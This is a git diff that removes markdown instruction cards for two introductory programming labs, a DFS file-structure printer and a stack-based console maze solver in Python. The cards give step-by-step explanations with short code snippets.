diff --git a/Module4_Labs/Lab3_File_System/Cards/4.md b/Module4_Labs/Lab3_File_System/Cards/4.md
deleted file mode 100644
index e1980915..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/4.md
+++ /dev/null
@@ -1,52 +0,0 @@
-
-
-
-
-
-
-In order to make sure your Graph implementation is held correctly, you will need to write the structure to another file, similar to the way you were given it originally.
-
-Basically, you need to have a full understanding of how the graph is held in order to complete this part.
-
-For instance, given the file:
-
-```
-0. Some Show
-01. Season 1
-011. The Vanishing of Will Byers
-012. The Weirdo on Maple Street
-013. Holly, Jolly
-014. The Body
-015. The Flea and the Acrobat
-016. The Monster
-017. The Bathtub
-018. The The Upside Down
-02. Season 2
-021. MADMAX
-022. Trick or Treat
-...
-```
-
-Your `print_ordered_file_structure()` should write the following to the output file:
-
-```
-0. Some Show
-01. Season 1
-011. The Vanishing of Will Byers
-012. The Weirdo on Maple Street
-013. Holly, Jolly
-014. The Body
-015. The Flea and the Acrobat
-016. The Monster
-017. The Bathtub
-018. The The Upside Down
-02. Season 2
-021. MADMAX
-022. Trick or Treat
-...
-```
-
-In order to achieve this, you're going to want to implement a `DFS` style traversal, using a `stack`
-
-Lastly, instead of printing out this information, you're going to want to write it to an output file named `output.txt`.
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/41.md b/Module4_Labs/Lab3_File_System/Cards/41.md
deleted file mode 100644
index 82ee7ff9..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/41.md
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-
-
-
-
-As mentioned before, we are going to be implementing a `DFS` style traversal function.
-
-First you need to think about how we will keep track of "where you've been" when traversing. Trying thinking how using a `defaultdict(bool)` will enable you to see if you have been to a given node.
-
-Once you have those set up, you need to make sure you're going to start on the root, `start`, and therefore mark it as visited.
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/411.md b/Module4_Labs/Lab3_File_System/Cards/411.md
deleted file mode 100644
index ad44a050..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/411.md
+++ /dev/null
@@ -1,44 +0,0 @@
-
-
-
-
-
-
-Let's review `DFS` as a concept before we dive into its application to this specific problem. `DFS` is an algorithm which traverses a graph (directed or undirected) through the use of a data structure called a `stack` (Last-In First-Out). We start with a given start node, mark that it has been visited, and push its unvisited neighbors to the stack. We then pop the top node off of the stack, mark it as visited, and repeat this process until all the nodes have been visited.
-
-Hopefully that rings a bell. Its important to have a fundamental understanding of `DFS` to understand and complete this part of the lab. As always, if needed, you can refer back to the activities which discuss `DFS` in depth (no pun intended!)
-
-Let's get to the specifics of this problem now.
-
-You need to create a `visited` `defaultdict(bool)`. We have to use a `defaultdict` because we need to index our `visited` by the string that identifies a given node, i.e `"011"`.
-
-```python
- visited = defaultdict(bool)
-```
-
-A `stack` must be created since it will hold which nodes we need to visit next, unlike a `queue` here it will enable us to print out our "folders" in the correct relative order:
-
-```python
- stack = []
-```
-
-Why does a `stack` work in doing this? Well, this is because this problem wants us to list the folders in an order such that we go as "far" down the tree as possible before going back up (once we can't go any further down). That is, we wish to print `0` , then its first child `01` , then its children `011`, `012`, `013` before we print `0`'s second child, `02` (refer to diagram below).
-
-
-
-Notice how we are going as far down the tree as possible by popping from the **top** of stack. The stack allows us to do this as we can add all the unprinted, neighboring folders of the folder we just printed, pop the **top** of the stack and print that folder, and repeat this process until all the folders are printed.
-
-Now back to the code.
-
-Since we want to start with `start`, we need to push it onto our stack
-
-```python
- stack.append(start)
-```
-
-And since we are pushing `start` onto our stack that means we will have already visited it, so we need to mark it as such:
-
-```python
- visited[start] = True
-```
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/42.md b/Module4_Labs/Lab3_File_System/Cards/42.md
deleted file mode 100644
index 6842a9c5..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/42.md
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-
-
-
-
-This part of the traversal is where the actual *traversing* happens.
-
-You are going to want to continually do these following operations until your `stack` is empty:
-
-1. obtain a new `start`
-2. write that the information associated with that `start` to the output file
-3. sort the list of edges connecting to `start`
-4. check all the edges from the given `start ` and put them on the `stack` to go there
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/421.md b/Module4_Labs/Lab3_File_System/Cards/421.md
deleted file mode 100644
index caa2fbbb..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/421.md
+++ /dev/null
@@ -1,46 +0,0 @@
-
-
-
-
-
-
-In order to visit all of the nodes at least once, we need to keep going until the stack is empty:
-
-```python
- while stack:
-```
-
-Now we need a new `start`, or vertex to visit. In order to do that, we just need to pop the last value off of the `stack`:
-
-```python
-start = stack.pop()
-```
-
-In order to write all of the information associated with `start`, we need to open a file to write to, and make sure we are appending, `a`, to the file:
-
-```python
-f = open("output.txt", "a")
-```
-
-We now are writing the correct information to the file here. `start` holds the identifier for a particular node. And we know that we have the "file names" in the `val_map` so we use those as well to replicate the structure of the file you were given:
-
-```python
-f.write(start+'. ' + self.val_map[start] + '\n')
-```
-
-Even though we are coming back to this file to work on it later, it is good practice to always close the file after opening it:
-
-```python
-f.close()
-```
-
-Here is the above code fragments shown together:
-
-```python
-while stack:
- start = stack.pop()
- f = open("output.txt", "a")
- f.write(start+'. ' + self.val_map[start] + '\n')
- f.close()
-```
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/422.md b/Module4_Labs/Lab3_File_System/Cards/422.md
deleted file mode 100644
index 226f5b25..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/422.md
+++ /dev/null
@@ -1,60 +0,0 @@
-
-
-
-
-
-
-Before we check all of the edges `start` connects to, we need to make sure the files are in the correct order. To do this we sort all of the edges that `start` connects to:
-
-```python
-lst = self.edges[start]
-lst.sort()
-```
-
-Now that the list is sorted we need to reverse the list since we are using a `stack` (Last In First Out):
-
-```python
-lst = lst[::-1]
-```
-
-We need to loop through `lst` since it holds all of the vertices that `start` connects to:
-
-```python
-for j in lst:
-```
-
-Again, we need to check if we have been to that vertex:
-
-```python
-if visited[j] == False:
-```
-
-If we haven't we will add the vertex to our `stack`:
-
-```python
-stack.append(j)
-```
-
-And mark that we have visited that vertex:
-
-```python
-visited[j] = True
-```
-
-Here is the above (and previous) code fragments shown together:
-
-```python
-while stack:
- start = stack.pop()
- f = open("output.txt", "a")
- f.write(start+'. ' + self.val_map[start] + '\n')
- f.close()
- lst = self.edges[start]
- lst.sort()
- lst = lst[::-1]
- for j in lst:
- if visited[j] == False:
- stack.append(j)
- visited[j] = True
-```
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/423.md b/Module4_Labs/Lab3_File_System/Cards/423.md
deleted file mode 100644
index 036b21b4..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/423.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-
-
-
-
-
-We want to finally call `print_ordered_file_structure()` in `main()` in order to write our output to the output file.
-
-We call it on our `G2` since that is the graph we constructed manually, and we provide the argument `"0"`, since that will signify our *root* of the graph.
-
-```python
- G2.print_ordered_file_structure("0")
-```
-
-Here is the function code in its entirety.
-
-```python
-visited = defaultdict(bool)
-stack = []
-stack.append(start)
-visited[start] = True
-while stack:
- start = stack.pop()
- f = open("output.txt", "a")
- f.write(start+'. ' + self.val_map[start] + '\n')
- f.close()
- lst = self.edges[start]
- lst.sort()
- lst = lst[::-1]
- for j in lst:
- if visited[j] == False:
- stack.append(j)
- visited[j] = True
-```
-
-For a line-by-line breakdown of the code, refer back to the in-depth explanations in the previous cards.
-
-
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/Structure.md b/Module4_Labs/Lab3_File_System/Cards/Structure.md
deleted file mode 100644
index 35593a79..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/Structure.md
+++ /dev/null
@@ -1,29 +0,0 @@
-1.
-
- 11.
- 111.
- 12.
- 121.
- 122.
-2.
- 21.
- 211.
- 22.
- 221.
-3.
- 31.
- 311.
- 32.
- 321.
-4.
- 41.
-
- 411.
- 42.
- 421.
-
- 422.
-
- 423.
-
-
\ No newline at end of file
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/1.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/1.md
deleted file mode 100644
index ee5d53ac..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/1.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-
-
-
-
-
-In this lab, we will be writing a Maze Solver using Stack as our data structure.
-
-In this Maze Solver, our cursor is represented as X, and it will visit all the branches until it finally finds exit!
-
-
-
-When an exit is found, the program will print Done! :)
-
-
-
-As a reminder, a stack is an ordered collection of items where addition and removal always takes place at the top of the stack. Think about a stack of plates in a café, you always take the top plate which is the last one added to the stack.
-
-Our first task is to write a class `Stack`.
-
-We will have the following methods in our class:
-
-> `__init__` : initialize two class variables, index and arr. `index` keeps track of the location of the top of the stack, and `arr` is the stack.
->
-> `push`: takes in parameter `a` and put it on the top of the stack.
->
-> `pop`: delete the item on top of the stack and return its value.
->
-> `top`: return value at the top of stack
->
-> `isFull`: check if stack is full
->
-> `isEmpty`: check if stack empty
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/11.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/11.md
deleted file mode 100644
index ed393a6a..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/11.md
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
-
-Initialize the class by defining two class variables `index` and `arr`. Note that `arr` is the `stack`, and `index` is pointing at the top of the stack, so it should be initialized to -1, since we don't have any item on the stack yet.
-
-The function `push` will first push the item onto the stack, then increment the index, updating the location of the top of the stack.
-
-
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/111.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/111.md
deleted file mode 100644
index 586e50dc..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/111.md
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-
-
-
-
-Define `__init__` as the following:
-
-```python
-self.index = -1
-self.arr = [None] * ROWS * COLUMNS
-```
-
-In order to repersent each location we need to specify it's rows and columns. A 2D array allow us to do this as it will keep track of both information.
-
-Here, we have a maze map which has 30 rows and 100 columns. So, we are creating a 2D array that is 30 by 100.
-
-Note : ROWS and COLUMNS are defined as global variables.
-
-```python
-ROWS = 30
-COLUMNS = 100
-```
-
-Define `push` as the following
-
-```python
-self.index = self.index +1
-self.arr[self.index] = a
-```
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/12.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/12.md
deleted file mode 100644
index 516a6b19..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/12.md
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-The function `pop` deletes the item on top of the stack, by decrementing the `index` , and returns the value of the item deleted.
-
-The function `top` returns the value at the top of the stack without deleting anything.
\ No newline at end of file
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/121.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/121.md
deleted file mode 100644
index 10c9bc51..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/121.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-
-
-Define `pop` as the following:
-
-```python
-self.index = self.index - 1
-return self.arr[self.index + 1]
-```
-
- Decrements the index, and returns the one that was deleted.
-
-We don't have to actually erase the value, because the only time when index will increment again is `push`. At `push` we will write over the old value with a new value.
-
-Define `top` as the following:
-
-```python
-return self.arr[self.index]
-```
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/13.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/13.md
deleted file mode 100644
index 44f969f8..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/13.md
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-Think about under what circumstances is the stack full, and under what circumstances is the stack empty?
-
-Hint: Does it depend on `index`?
\ No newline at end of file
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/131.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/131.md
deleted file mode 100644
index 6c2089bb..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/131.md
+++ /dev/null
@@ -1,46 +0,0 @@
-
-
-
-
-
-
-We can use the index to keep track of the size of the stack. Keep in mind that we defined the first element to be at index 0 before. if there is only one item, the size should be (index+1) which is (0+1). Thus, when we use index to check the size of the stack we always do index + 1 to get the size.
-
-Here, we want to check whether the stack is full, which is the same as checking is the size of the stack equal to row*columns.
-
-Define `isFull` :
-
-```python
-return ((self.index + 1) == ROWS*COLUMNS if True else False) #shorthand notation
-```
-
-Another way of doing this is:
-
-```python
-if ((self.index + 1) == ROWS*COLUMNS): #check whether the number of items is equal to the size of the stack
- return True
-else:
- return False
-```
-
-
-
-We also need a `isEmpty` function to check whether the stack is empty. It's just checking whether the size is equal to 0. As we discussed above the size of the stack is equal to index +1. Here index + 1 should be equal to 0 if it's empty. It's the same as the index is -1 if it's empty.
-
-Another way to define this function is to think about how we defined the `__init__` . We defined it to be at index -1 when it's empty.
-
-Define `isEmpty` :
-
-```python
-return (self.index == -1 if True else False) #shorthand notation
-```
-
-It's the same as doing the following
-
-```python
-if (self.index == -1): #There is no item in the stack
- return True
-else:
- return False
-```
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/2.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/2.md
deleted file mode 100644
index 9cc4d776..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/2.md
+++ /dev/null
@@ -1,26 +0,0 @@
-
-
-
-
-
-
-Now, let's load `maze.txt`, and convert them to a maze map!
-
-Notice how in `maze.txt` all the 1s are walls and 0s are paths, and the exit is 3.
-
-
-
-In this step, write a `loadFile(fileName)`function that loads the file and stores all the variables accordingly into a 2D array that is 30 by 100.
-
-**Hint**: Instead of storing 0, 1, and 3s directly, store the Unicode of the blanks, walls, and exits in the array. We want to store Unicode So we can print graphic using `chr()` later. So in this case, we would store blanks as 32, walls as 9608, and the exit as 9618.
-
-And later, they will result like this :
-
-
-
-
-
-
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/21.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/21.md
deleted file mode 100644
index 797dbc60..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/21.md
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-In our `loadFile(fileName)`function, first let us use two for loops to initialize a 2D array filled with zero.
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/211.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/211.md
deleted file mode 100644
index 303acb8b..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/211.md
+++ /dev/null
@@ -1,30 +0,0 @@
-
-
-
-
-
-
-There is an elegant way to initialize a 2D array in one line, and that is:
-
-```python
-w, h = COLUMNS, ROWS
-grid = [[0 for x in range(w)] for y in range(h)]
-```
-
-`0` is the item `for x in range(w)`.
-
-`[0 for x in range(w)]` is the item `for y in range(h)`.
-
-This is the same as doing the following
-
-```python
-w = COLUMNS
-h = ROWS
-grid = []
-for y in range(h):
- row = []
- for x in range(w):
- row.append(0)
- grid.append(row)
-```
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/22.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/22.md
deleted file mode 100644
index 56d83d93..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/22.md
+++ /dev/null
@@ -1,21 +0,0 @@
-
-
-
-
-
-
-Before writing the file to array. Open `fileName`, and read in the data. Hint: Use ` readlines()`.
-
-Then, iterate through all the lines in the data and all the words in the line.
-
-Decipher what each number represent and store them correspondingly to our matrix, representing the map/grid.
-
->0 means blank
->
->1 means wall
->
->3 means exit!
-
-Recall that we should store the Unicode of the blank, walls, and exit. Store blank as 32, wall as 9608, and 9618 as exit, if you want to follow the sample program. But feel free to customize your graphic by your choice of unicode.
-
-At last, close the file and return the grid.
\ No newline at end of file
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/221.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/221.md
deleted file mode 100644
index a7dc661f..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/221.md
+++ /dev/null
@@ -1,52 +0,0 @@
-
-
-
-
-
-
-Before writing the file to array. Open `fileName`, and read in the data.
-
-```python
-with open(fileName, 'r') as file:
- data = file.readlines()
-```
-
-Then, iterate through all the lines in the data and all the words in the line.
-
-Decipher what each number represent and store them correspondingly to our matrix, representing the map/grid.
-
-```python
- i = 0
- j = 0
- for line in data: #we iterate line by line
- j = 0
- for word in line: #we iterate each word in that line
- grid[i][j] = word
- #blank if '0'
- if grid[i][j] == '0':
- grid[i][j] = 32
- #wall if '1'
- elif (grid[i][j] == '1'):
- grid[i][j] = 9608
- #door (dotted wall) if '3'
- elif (grid[i][j] == '3'):
- grid[i][j] = 9618
- j = j + 1
- if j == COLUMNS:
- break
- i = i + 1
- if i == ROWS:
- break
-```
-
-Here we use a `for loop` inside another `for loop` since we want to iterate all the data. We iterate very word in the line than go to the next line iterate all the words in that line.
-
-Recall that we are storing the Unicode of the blanks, walls, and exit. Store blanks as 32, walls as 9608, and 9618 as exit, if you want to follow the sample program. But feel free to customize your graphic by your choice of Unicode.
-
-At last, close the file and return the grid.
-
-```python
- file.close()
- return grid
-```
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/3.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/3.md
deleted file mode 100644
index 25936963..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/3.md
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-Now we have our array of stored unicode for graphic, `grid` , we can print out our maze!
-
-Write `printGrid(grid)` function that takes in `grid` and print them out accordingly.
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/31.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/31.md
deleted file mode 100644
index e26af204..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/31.md
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
-
-Hint: import os and use os.system to set color of the grid if you will.
-
-```python
-os.system("color 3")
-```
-
-To print a grid, simply use a nested for loop.
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/311.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/311.md
deleted file mode 100644
index eb22791d..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/311.md
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
-
-
-
-
-Import `os` and use `os.system` to set color of the grid if you will of your choice.
-
-```python
-os.system("color 3")
-```
-
-Write a for loop to print grid.
-
-```python
-for r in range(0, ROWS):
- for c in range(0, COLUMNS):
- print(chr(grid[r][c]),end="")
- print(" ")
-```
-
-Note that we only have a newline at the end of row. Python defaults to print a new line with every print statement. So make sure that for every item in a row we are ending with "".
\ No newline at end of file
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/4.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/4.md
deleted file mode 100644
index bc897135..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/4.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
-
-
-
-
-
-Now we have come to the hardest and most important step of the lab - actually writing the maze solver.
-
-```python
-def solveMaze(maze):
-```
-
-First of all, construct a while loop, which loops until the exit is found.
-
-Second, check all four directions, see which path is the best for us to step foot on. There's a few things for us to consider, write a corresponding if statement for each of them:
-
-> Is the tile blank?
->
-> Is this where we just came from?
->
-> Does it lead to a dead end?
-
-Third, what if all the four directions fail the conditions? Then we must be in a dead end! We should mark our current location as dead end, and backtrack our footsteps to go back to where we came from.
-
-Hints:
-
-* Declare `rowStack` and `columnStack` to keep track of our paths. It should keep track of all the (row, col) locations that we have been.
-
-* Declare two arrays `rowVisited` and `colVisited` to store the paths that lead to dead ends.
-
-* Write a function `inArray(rowVisited, columnVisited, arrSize, r, c)`that check whether a tile is a dead end or not.
-* Keep in mind that the maze starts at row: 1, column: 0. So make sure to initialize your location at (1,0) in the map.
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/41.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/41.md
deleted file mode 100644
index 32a7d5e5..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/41.md
+++ /dev/null
@@ -1,12 +0,0 @@
-
-
-
-
-
-
-Let's construct a while loop that keeps looking for the next possible step until the exit is found.
-
-- Declare two variables to keep track of what row and column we are currently at in the matrix. These two variables should update with the position of our cursor.
-
-- Terminate the while loop when we are at exit.
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/411.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/411.md
deleted file mode 100644
index f1fee52a..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/411.md
+++ /dev/null
@@ -1,25 +0,0 @@
-
-
-
-
-
-
-Declare `curr_row` and `curr_col` to keep track of your current location in the maze.
-
-```python
-curr_row = 1
-curr_col = 0
-```
-
-Recall that the starting location of the maze is (1,0). So our initialization should reflect that.
-
-Recall that maze array contains the Unicode of our maze, therefore, our while loop should look like:
-
-```python
-while maze[curr_row][curr_col] != # your unicode for exit
-```
-
-The Unicode for exit is 9618 in this example, but feel free to customize.
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/42.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/42.md
deleted file mode 100644
index 719f23e0..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/42.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
-
-
-
-
-What if all four directions turns out to be not viable, where should we go?
-
-
-
-
-
-
-
-If we are at at dead end, then we should back trace, and go out to where we came from.
-
-Declare two arrays `rowVisited` and `colVisited` to store the path that lead to dead ends.
-
-Store our current row index and col index in the dead ends array, and back trace to our last location. We can use the `pop` methods in stack.
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/421.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/421.md
deleted file mode 100644
index d6578976..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/421.md
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-
-
-
-
-Write a function `inArray(rowVisited, columnVisited, arrSize, r, c)`that check whether a tile is a dead end or not.
-
-This can be done by simply checking if (curr_row, curr_col) exist in the arrays, `rowVisited` and `columnVisited`.
-
-This function should return a Boolean value.
\ No newline at end of file
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/422.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/422.md
deleted file mode 100644
index 28122d83..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/422.md
+++ /dev/null
@@ -1,16 +0,0 @@
-
-
-
-
-
-
-```python
-def inArray(rowCheck, columnCheck, arrSize, curr_row, curr_col): #check if a point on grid is already visited
- for i in range(0, arrSize):
- if (rowCheck[i] == curr_row and columnCheck[i] == curr_col):
- return True
- return False
-```
-
-Notice that we can't just simply check for if `curr_row` exists in the array, and if `curr_col` exists in the array. They must exist together (same index).
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/43.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/43.md
deleted file mode 100644
index 09feb0f3..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/43.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
-
-
-
-
-Check surrounding tiles to see where could we go next.
-
-There should be three conditions that we should check for:
-
-1. if the tile is blank
-2. if the tile was not most previously visited
-3. if the path of the point did not already lead to a dead end.
-
-Only when the tile satisfied these three conditions, should we set foot on it.
-
-Recall that we have two stacks: `rowStack` and `columnStack` to keep track of the paths that we have taken to get to our current location.
-
-Once we decide to set foot into the next tile, we should push our current location to `rowStack` and `columnStack`, and updates our location index, curr_row and curr_col.
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/431.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/431.md
deleted file mode 100644
index 8051e32c..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/431.md
+++ /dev/null
@@ -1,46 +0,0 @@
-
-
-
-
-
-
-Using North as an example:
-
-Check if the North tile is blank, so we can evaluate:
-
-```python
-maze[curr_row - 1][curr_col] == 32
-```
-
-Check if it is the direction where we just came from:
-
-```python
-(curr_row - 1) != rowStack.top()
-```
-
-Check if it is a dead end, call
-
-```
-inArray(rowVisited, colVisited, ROWS*COLUMNS, curr_row - 1, curr_col)
-```
-
-Put them together we have:
-
-```python
-if ((maze[curr_row - 1][curr_col] == 32) and ((curr_row - 1) != rowStack.top()) and not inArray(rowVisited, colVisited, ROWS*COLUMNS, curr_row - 1, curr_col)):
-```
-
-If the tile pass all the if statement then we have to update our location index as well as `rowStack` and `colStack`, which keep track of where we have been.
-
- rowStack.push(curr_row)
- curr_row = curr_row - 1
- columnStack.push(curr_col)
-Do this for all the directions:
-
-```python
-if #up
-elif #down
-elif #left
-elif #right
-```
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/5.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/5.md
deleted file mode 100644
index 2b0f202f..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/5.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
-
-
-
-
-Write a function `gotoxy(curr_col, curr_row)` that sets the cursor position on screen.
-
-Hint: use `windll.kernel32.GetStdHandle` and ` windll.kernel32.SetConsoleCursorPosition`.
-
- `windll.kernel32.GetStdHandle` allows you to write on the console
-
-` windll.kernel32.SetConsoleCursorPosition` determines the position in which to place a cursor on your console. Reference online for documentation on these functions.
-
-In order to see the cursor, use `print("X")`.
-
-Back in your `solveMaze` function, remember to call `gotoxy` every time you decide to take a step.
-
-Hint: import `time`, and call `time.sleep(0.1)` to introduce a little delay for the user to see what's going on.
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/51.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/51.md
deleted file mode 100644
index 94d09c4d..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/51.md
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
-
-
-
-
-Write `gotoxy` such as the following to set the cursor at location x and y.
-
-```python
-def gotoxy(x, y): #function to show cursor position on screen
- h = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
- windll.kernel32.SetConsoleCursorPosition(h, COORD(x, y))
-```
-
-`GetStdHandle` gets the output buffer that we want to manipulate.
-
-`SetConsoleCursorPosition ` sets the cursor of **std_out** to the position of our choice.
-
-Call `gotoxy(x, y)` in solveMaze function, so your cursor can be moving along with you.
-
-And print out a character, or anything to signifieth the cursor.
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/511.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/511.md
deleted file mode 100644
index 7c007186..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/511.md
+++ /dev/null
@@ -1,53 +0,0 @@
-
-
-
-
-
-
-Write `gotoxy` such as the following to set the cursor at location x and y.
-
-```python
-def gotoxy(x, y): #function to show cursor position on screen
- h = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE) #allows you to write on the console
- windll.kernel32.SetConsoleCursorPosition(h, COORD(x, y)) #determines the position in which to place a cursor on your console. Reference online for documentation on these functions.
-```
-
-`GetStdHandle` gets the output buffer that we wants to manipulate.
-
-`SetConsoleCursorPosition ` sets the cursor of **std_out** to the position of our choice.
-
-Call `gotoxy(curr_col, curr_row)` in solveMaze function, so your cursor can be moving along with you.
-
-And print out a character, anything to signifieth the cursor.
-
-Before the while loop for `mazeSolver`, after we initialize our start, do this:
-
-```python
-gotoxy(curr_col, curr_row)
-print("X")
-```
-
-This will give us an initial position, where we start the game.
-
-In the while loop for `mazeSolver`:
-
-At the beginning of the while loop do:
-
-```python
-gotoxy(curr_col, curr_row)
-print(" ")
-```
-
-This will cause "X" to dissappear when we are about to move.
-
-Do this again at the end of the while loop, and X will reappear on the map, positioning at the new location.
-
-```python
-gotoxy(curr_col, curr_row)
-print("X")
-```
-
-
-
-
-
diff --git a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/6.md b/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/6.md
deleted file mode 100644
index 6a487e1d..00000000
--- a/Module4_Labs/Lab4_Maze_Solver_With_Stack/Cards/6.md
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
-Now, we have all the puzzle pieces that we need, let's put together our solver neatly in main by calling `loadFile`, `printGrid`, and `solveMaze`.
-
-
-
-After the maze solver find the exit, let's print out Done!:) from `done.txt`. Load the file by calling `loadFile(doneFile)`, and `printGrid(done)`.
-
-
-
